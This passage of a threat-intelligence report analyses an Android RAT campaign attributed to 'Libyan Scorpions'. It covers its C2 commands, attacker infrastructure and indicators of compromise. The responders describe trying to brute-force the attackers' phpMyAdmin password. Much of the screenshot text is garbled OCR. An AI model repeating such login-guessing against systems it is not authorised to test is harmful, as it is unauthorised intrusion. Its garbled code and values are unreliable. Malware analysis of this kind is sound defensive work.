bin : java bin : java sinkhole : java sinkhole : bash

Those commands (103, 104 and 105) correspond to the following list of commands defined in the malware:

jadx-gui - classes.dex Qe 0
File View Mavigation Tools Help
Ba &8 4 s @ | &
» @ aaax * |
» @ asay (?_com_qoogle.app_b.aaac ¥ | © com.google.app.b.aaal ¥ | @ aaaav X O aasa] X O com.google.app.aaa . »
v Bc 136 this.p.flush(); :
» ® asac while (true) {
» (3 aaal 135 JSL_DNObJe(_:t jSonCbject = new JSOMObject((String) this.o.readObject());
. @ azas switch (jSONCbject.getInt(aaav.y("zZ~T|xrP"))) {
iy *
» G aaay 56 aaac com_google_app_options_aaac = new aaac(jSONCbject, this.l, this.b
v 8 com break;
» f# admob.android.ads [case com.guo%le.apg.a.aaasﬁk ,'{=§@1=‘;’:| O
. 163 new aasay|]SONObject, this.l).start();
| case com.google.app.a.aaas.b ;*mz',':|
> © aaac 136 new azadljSONObject, this,.l).startl);
» © aaas break;
» @ aaay | case com.google.app.a.aaas.l /*103%/ :|
v @b 233 new com.google.app.options.aaal(this.p).start();
> (©) 5eme break:
| case com.google.app.a.aaas.d /*+104%/: |
17 new com.google.app.options.aaav(this.p, this.l).start();
» © aaas break:
[C] aaay I case com.google.app.a.aaas.p / '=J@5=‘;’:|
v £ main 144 new com.googLe.app.options.aaasithis.p).start();
» & MainService break:
o () T | case com.google.app.a.aaas.] /*106%/: |
. ® amas 241 this.w.closelT;
break:
v £ options I case com.google.app.a.aaas.f /*167+%/ : |
» ® CameraView 57 Process.killProcess(Process.myP1d(}];
» @ aaac break;
+ @ asad [case com.google.app.a.aaas.o /*168+/ ]
» @ agaf 201 String string = JSONObject.getStringlaaad.y("\u001cL\uo014Y\uDO16W\UOC
271 if (!string.equalsIgnoreCase(aaav.y (") \fy'"))) {
> © aaal 50 if (!string.equalsIgnoreCase(aaad.y("h2t"))]) {
» G aaan 83 if (!string.equalsIgnoreCase(aaav.y(")\r$"))) {
» © aaas v break; v
- 3 - L3
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Each number corresponds to one command to be done by the malware. For example, the command (111)
uninstalls the real application “URLShortener”:

root@Cyberkov: ~/voicemessage/sinkhole — Konsole o e O
File Edit Wiew Bookmarks Settings Help

bin : java bin : java sinkhole : java sinkhole : bash

Will result in:

Genymotion for personal use - Google Nexus 5 - 4.4.4 - AP| 19 - 1080x1920.. @ @ ©

B 756 @

URL Shortener

Do you want to uninstall this
app?
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Real C2
By connecting to the real C2 IP address, Cyberkov found that the malware is really of JSocket/AlienSpy family
of RATSs since that family of RATs open the port 1234 with a self-signed certificate of “assylias”?.

ld Insecure Connection x|

[ | myq-see.com | [ ] e Search b+ A= |

{5 Most Visited v [l Offensive Security S Kali Linux & Kali Docs ' Kali Tools W Aircrack-ng

# Your connection is not secure

The owner of winmeif.myq-see.com has configured their website
improperly. To protect your information from being stolen, Firefox has not
connected to this website.

Learn more.

winmeif.myg-see.com:1234 uses an invalid security certificate

Error code: SEC_ERROR_UNKNOWN_ISSUER

Add Exception..

According to Shodan, the port (1234) has been spotted open since 12-07-2016 which is 25 days before the
first discovery.

root@Cyberkov: ~/voicemessage/sinkhole — Konsole e ® 0
File Edit View Bookmarks Settings Help

nache httpd (2

bin : java bin : java sinkhole : bash sinkhole : bash

2
https://www.fidelissecurity.com/sites/default/files/FTA 1019 Ratcheting Down on JSocket A PC and Android Thre
at_FINAL.pdf
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Threat Actor and Attribution

Seems like the Libyan Scorpions threat actors are running multiple Android RATs since numerous ports
protected by SSL layer are open in (winmeif.myq-see.com) machine.

=

root@ext-Kov: ~

Vienu | | [§ phpinfof) x

C == | @ 4120811046

Also, the Libyan Scorpions threat actors left phpinfo.php script on the webserver running on port 80 with

OBl L

PHP Version 5.6.18 php
System Windows NT ADMIN 6.1 build 7601 (Windows 7 Professional Edition Service Pack 1) i586 |

Build Date Feb 3 2016 17:13:02

Compiler MSWVC11 (Visual C++ 2012)

Architecture

*86

Configure Command

cscript /nologo configure.js “--enable-snapshot-build” "--disable-isapi™ "--enable-debug-pack” "--without-mssql” "--

without-pdo-mssgl™ "--without-pi3web” "--with-pdo-oci=c:\php-sdk\oracle\x86linstantclient_12_1\sdk,shared" "--with-

oci8-12c=c:\php-sdk\oracle\xB6\instantclient_12_1\sdkshared” "--enable-object-out-dir=._/obj" "--enable-com-
dotnet=shared" "--with-mcrypt=static” "--without-analyzer" "--with-pgo"

Server API Apache 2.0 Handler
Virtual Directory Support enabled

Configuration File (php.ini) Path C:\Windows

Loaded Configuration File C\AppSeniphpS\php.ini
Scan this dir for additional .ini files (none)
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Username of the Windows machine is admin.

o7 Menu || B phpinfol()

&=

c @  41.20811046/php o - @30
SESSI0N.CO0KIE_nupomy i i
session.cookie_lifetime 0 0
session.cookie_path ! !
session.cookie_secure Off Off
session.entropy_file
session.entropy_length 0 0
session.gc_divisor 1000 1000
session.gc_maxlifetime 1440 1440
session.gc_probability 1 1
session.hash_bits_per_character 5 5
session.hash_function 0 0
session.name PHPSESSID PHPSESSID
session.referer_check
session.save_handler — files files .
session.save_path Ci/Usersfadmin/AppDatall ocalTemp Ci/Usersfadmin/AppDatall ocalTemp
session.serialize_handler php php
session.upload_progress.cleanup On On

i pload_prog bled On On
session.upload_progress.ireq 1% 1%

The computer name of Windows machine is ADMIN.

y phpinfo() x

winmeif.myq-see.com/phpini

phpinfo() - Mozilla Firefox

o0

g~ c Search

wBE 9 % A @ o By H~

[ Most Visited v JllOffensive Security S\ Kali Linux "\ Kali Docs "\, Kali Tools W Aircrack-ng

Environment

Variable

Value

ALLUSERSPROFILE

C:\ProgramData

APPDATA

C:\Windows\system32\config\systemprofile\AppData\Roaming

CommenPregramFiles

C:\Program Files (x86)\Common Files

CommonProgramFiles(x86)

C:\Program Files (x86)\Commeon Files

CommenProgramWe6432 C:\Program Files\Commen Files

COMPUTERNAME ADMIN

ComSpec C:\Windows\system32\cmd.exe

FP_NO_HOST_CHECK NO

LOCALAPPDATA C:\Windows\system32\config\systemprofile\AppData\Local

NUMBER_OF_PROCESSORS 4

os Windows_NT

Path C:\ProgramData\Oracle\|ava\javapath;C:\PROGRAM FILES\DELL\DW WLAN CARD;C:\Windows
\SYSTEM32;C:\Windows:C:\Windows\SYSTEM32\WBEM; C:\Windows\SYSTEM32
\WINDOWSPOWERSHELL\V1.0\;C:\PROGRAM FILES (X86NSKYPE\PHONE\;

PATHEXT .COM;.EXE;.BAT;.CMD;.VB5;.VBE;.]5;.)SE;.W5F; \W5H;.M5C

PROCESSOR_ARCHITECTURE x86

PROCESSOR_ARCHITEW6432 AMD&4

PROCESSOR_IDENTIFIER Intel64 Family 6 Model 37 Stepping 5. Genuinelntel

PROCESS0R_LEVEL 6

PROCESSOR_REVISION 2505

ProgramData C:\ProgramData I

ProgramFiles

C:\Program Files (x86)

ProgramFiles(x86)

C:\Program Files (x86)

ProgramWeé432 C:\Program Files

PSModulePath C:\Windows\system32\WindowsPowerShell\wl.0\Modules

PUBLIC C:\Users\Public

SystemDrive C: v
I -

ADMIN ~ |~ | Highlight Al Match Case 8 of 11 matches x
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The Libyan Scorpions threat actors use a Dell laptop and have Skype installed and are setting behind a NAT
and their internal IP address is 192.168.1.16

phpinfo() - Mozilla Firefox e ® 0
phpinfo() x |\ *
winmeif.myg-see.com/phpini BN & e C Search w a8 4+ & B o B By =
[ Most Visited v [l Offensive Security e Kali Linux “ Kali Docs " Kali Tools Wy Aircrack-ng
Apache Environment o
Variable Value
HTTP_HOST winmeif. myqg-see.com I
HTTP_USER _AGENT Mozilla/5.0 (X11; Linux x86_64; n:45.0) Gecko/20100101 Firefox/45.0
HTTP_ACCEPT text/html,application/xhtml+xml,application/xml;g=0.9,%/*;,q=0.8
HTTP_ACCEPT_LANGUAGE en-US,en;q=0.5
HTTP_ACCEPT ENCODING gzip, deflate
HTTP_COOKIE _ga=GA1.2.1819131665.1470568742
HTTP_CONNECTION keep-alive
PATH C:\ProgramData\Oracle)] ava\iavapatk&C:\PRDGRAM FILES\DELL\DW WLAN CARD]C:\Windows
\SYSTEM32;C:\Windows; C:\Windows\SYSTEM32\WBEM; C:\Windows\SYSTEM32
\WlNDDWSPDWERSHELL\Vl.ommmm

SystemRoot C:\Windows
COMSPEC C:\Windows\system32\cmd.exe
PATHEXT .COM;.EXE;.BAT;.CMD;.VB5:.VBE:.|5:.)SE;.W5F;.W5H;.M5C
WINDIR C\Windows
SERVER_SIGNATURE
SERVER_SOFTWARE Apache/2.4.18 (Win32) OpenS5L/1.0.2e PHP/5.6.18
SERVER_NAME winmeif. myqg-see.com
SERVER_ADDR 192.168.1.16
SERVER_PORT 80
REMOTE_ADDR 31.203.118.54
DOCUMENT _ROOT C:/AppServiwww
REQUEST_SCHEME http
CONTEXT_PREFIX
CONTEXT DOCUMENT ROOT C:/AppServiwww
SERVER_ADMIN admin@example.com
SCRIPT_FILENAME C:/AppServiwww/phpinfo.php
REMOTE_PORT 36760
GATEWAY INTERFACE CGlf1.1
SERVER_PROTOCOL HTTP/1.1
REQUEST_METHOD GET v

W

The attackers also have a PhpMyAdmin script installed in their machine:
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phpMyAdmin - Mozilla Firefox

x\-l-
B8 U 3 a4 @ o B

C Search

| #4 phpMyAdmin
| winmeif.myq-see.com/phpmyadmin, | | (Sl e

[& Most Visited v JllOffensive Security S Kali Linux & Kali Docs " Kali Tools Wy Aircrack-ng

php
Welcome to phpMyAdmin

Language

English :J

Log in &
Username:
|fDDf, n |
Password:
[ @]
Go

Cyberkov Security Incident Response Team (CSIRT) tried to brute force the password of the database using

the top most common 100 passwords. Unfortunately, the attempt failed.

X +
x

Mk phpMyAdmin
winmeif. myg-see.com phpMyAdmin

= v

php
Welcome to phpMyAdmin

(b #1045 - Access denied for user root'@'localhost’ (using
password: YES)

Language
English v
Log in @
Username:
root =2
Password:
=

Go
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Threat Actors Infrastructure

Going back to the IP address of the attackers (41.208.110.46), it is very important to discover the attackers
infrastructure that maybe used to launch wider attacks using multiple RATs on multiple platforms.

By using Threat Intelligence Platforms and Feeds such as PassiveTotal, Cyberkov was able to discover more
activities and campaigns run by Libyan Scorpions.

The following Heatmap shows that the IP address (41.208.110.46) has been used to launch attacks since
9/9/2015 until the time of writing this report using 5 different hostnames and multiple malicious malwares.

S
@ PassiveTotal | Infrastru x

€ | & www.passivetotal.org PassiveTotal | Infrastructure Results for 41.208.110.46 8 k) @ Hg ﬂ] L
41.208.110.46 Request Support
ATTRIBUTES Heatmap  WHOIS  Hashes @)
First Seen 2015-09-09 E " a M "

14:44.25 ab ar pr ay Jun Ju
Last Seen 2016-08-12

22:04:25 [y m ..-.
Resolutions 15 T h-.-h
Network 41.208.64.0/18 W .-.-.
AS 21003 (GPTC-AS) ! ..--

Country LY
: BEBR

: @R [

Compromised?

Dynamic/Registered Dynamic Registered First Seen First & Last of Month
N EEEEN N
Classify @ malicious

suspicious Select 3 date or dates (shift- o on the Heatmap to filter results. 1
non-malicious u
unknown Resolve First Last Source Tags

o

The following table summarizes the list of hostnames used by the attacker(s):

Hostname First Seen Last Seen \
Samsung.ddns.me 26-04-2016 08-09-2016
Wininit.myq-see.com 24-05-2016 22-08-2016
Winmeif.myg-see.com 07-08-2016 22-08-2016
Collge.myqg-see.com 09-09-2015 22-08-2016
Sara2011.no-ip.biz 08-10-2015 08-10-2015
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All of the hostnames point to the same C2 IP address used by the attackers (but sara2011.no-ip.biz):

root@Cyberkov: ~/voicemessage — Konsole e & 0
File Edit View Bookmarks Settings Help

Voice Hassege.apk

bin : java bin : java voicemessage : bash sinkhole : bash sf_shared : bash

Also, using PassiveTotal, the C2 is connected to 2 more malwares used by the attackers having the following
hashes (MD5):

e 1738ecf69b8303934bb10170bcef8926
e 93ebc337c5fe4794d33df155986a284d

41.208.110.46

Heatmap  WHOIS  Hashes @)

First Seen 2015-09-09

14:44:25

Source Sample

Last Seen 2016-08-12 i _ . _

22-04-25 Emerging Threats (Proofpoint)
Resolutions 15 Emerging Threats (Proofpoint)
HIETeet 41.208.64.018 Emerging Threats (Proofpoint)
AS 21003 (GPTC-AS)
Country LY

The first hash in the above picture is for the malware “Voice Massege.apk” which we have analyzed already.
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The second hash (1738ecf69b8303934bb10170bcef8926) is named (Benghazi.exe) and have detection rate
of 21 out of 56 (37.5%) and has been uploaded first time to VirusTotal on 23-04-2016.

] total

SHA256: 9d8e5ccd4ct543b4bd 1edcbalcaas409076a26ee74061c148dMMd3ce87d7787 b
File name: =
s @0©0

Analysis date: | 2016-04-23 20:33:29 UTC ( 3 months, 3 weeks ago )

Detection ratio: 21

= Analysis @, File detail 22 Relationships @ Additional information 4 Comments o o Votes i Behavioural information

Antivirus Result Update

AlLYac Gen:Variant.Jaik. 11048 20160423
Ad-Aware Gen:Variant.Jaik.11048 20160423
Arcabit Trojan.Jalk.D2B28 20160423
Avast Win32:Malware-gen 20160423
Baidu Win32.Trojan.WisdomEyes. 151026.9950.9999 20160422
BitDefender Gen:Variant.Jaik.11048 20160423
Cyren W32/VB.NN.genlEldorado 20160423
ESET-NOD32 a variant of Win32/Injector. CWTY 20160423
Emsisoft Gen:Variant.Jaik.11048 (B) 20160423

Notice that this malware targets Windows machines and not Android smartphones. It is compiled on 15-04-
2016 and is coded in Visual Basic.

= Analysis File detail & Relationships @ Additional information ® Comments o ) Votes {1 Behavioural information

# FileVersioninfo properties

Product Pennello
Original name Clevernes.exe
Internal name Clevernes
File version 1.00
Description Phrenics0

= PE header basic information

Target machine Intel 386 or later processors and compatible processors

Compilation timestamp 2016-04-15 15:12:20

Entry Point 0x0000120C

Number of sections 3

& PE sections

Name Virtual address Virtual size Raw size Entropy MD5

text 4096 139468 143360 7.55 d2640bSTcaddocabic49ble57a7idad
.data 147456 4624 4096 0.00 62010b67a9117174151bc5be74507110
.ISIC 155648 2320 4096 1.96 560732c75facdcfGaadafdbedetadae
% PE Imports
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The third hash (93ebc337c5fe4794d33df155986a284d) is a DroidJack, a malicious attacking platform,
targeting android smartphones.

> total

SHAZ56: 4e656834a93ce9c3di40fedadeelefcccc728e7ead97dc 252602 16b8Id21CbT6 b
File name: VPN.apk

Detection ratio: .r 0

Analysis date: | 2016-04-24 21:32:40 UTC ( 3 months, 2 weeks ago ) |

©
o

B Analysis File detail © Additional information ® Comments o ) Wotes

Antivirus Result Update

AVG Android/Deng. TIN 20160424
Ad-Aware Android. Trojan.AndroRAT.E 20160424
AhnLab-v3 Android-Trojan/Sandrorat. 12818 20160424
Allbaba A.W.Rog.EvilCert. A24 20160424
Arcabit Android. Trojan.AndroRAT.E 20160424
Avast Android:DroidJack-A [Trj] 20160424
Avira (no cloud) ANDROID/Spy.Kasandra.E.Gen 20160424
BitDefender Android. Trojan.AndroRAT.E 20160424
CAT-QuickHeal Android.Sandr. A 20160423
Cyren AndroidOS/Sandr.A.genlEldorado 20160424

Also, the name of activities and services contains net.droidjack.server name which makes us sure it is
DroidJack malware.

f Activities

net.droidjack.server.MainActivity
net.droidjack.server.CamSnapDJ
net.droidjack.server.\ideoCapDJ
net.droidjack.server.CamSnapDJ

net.droidjack.server.\VideoCapD.J

= Services

net.droidjack.server.Controller
net.droidjack.server.GPSLocation
net.droidjack.server.Toaster
net.droidjack.server.Controller
net.droidjack.server. GPSLocation

net.droidjack.server. Toaster
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To Be Continued...

Cyberkov will continue investigating Libyan Scorpions hacking group operating in Libya and will update this
report with a follow-up reports regarding any future cyber activities.

Mitigating Libyan Scorpions Attacks on Android

Cyberkov recommends the following points in order to protect the victims from such malwares:

e Update your Android operating system regularly

e Install DrWeb Security Space for Android (A leading Russian AntiVirus Company)

e Use of DrWeb Telegram Bot (DrWebBot) to scan links and files shared on Telegram chats or groups
e Install Zemana Mobile AntiVirus (A leading Turkish AntiMalware and AntiFraud Company)

e Never install applications from unknown sources

e Use Telegram with Secret Chat feature only

e Always verify with your partners when sending and receiving files

Indicators of Compromise (I0Cs)
The following table summarizes the list of indicators to detect the malware:

Type Indicator

Sha256 9d8e5ccd4cf543b4b4ledcbalcaael409076a26ee74c61c148dffd3ce87d7787
Sha256 4e656834a93ce9c3df40fe9a3eelefcccc728e7ea997dc2526b216b8fd21chfe
Sha256 €66d795d0c832ad16381d433a13a2ch57ab097d90e9¢c73a1178a95132b1c0f70
Md5 1738ecf69b8303934bb10170bcef8926

Md5 93ebc337c5fe4794d33df155986a284d

Md5 1c8alaa75d514d9b1c7118458e0b8al4s

Shal 41096b7f808a91ee773bbba304ea2cd0fad2519d

Shal 46d832a9cld6c34edffee361aca3de65db1b7932

Shal 2e2d1315c47db73ba8fach99240ca6c085a9achc

Filename Voice Massege.apk

Filename Benghazi.exe

Filename VPN.apk

IP 41.208.110.46

Domain winmeif.myg-see.com

Domain Wininit.myqg-see.com

Domain Samsung.ddns.me

Domain Collge.myqg-see.com

Domain Sara2011.no-ip.biz

Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com



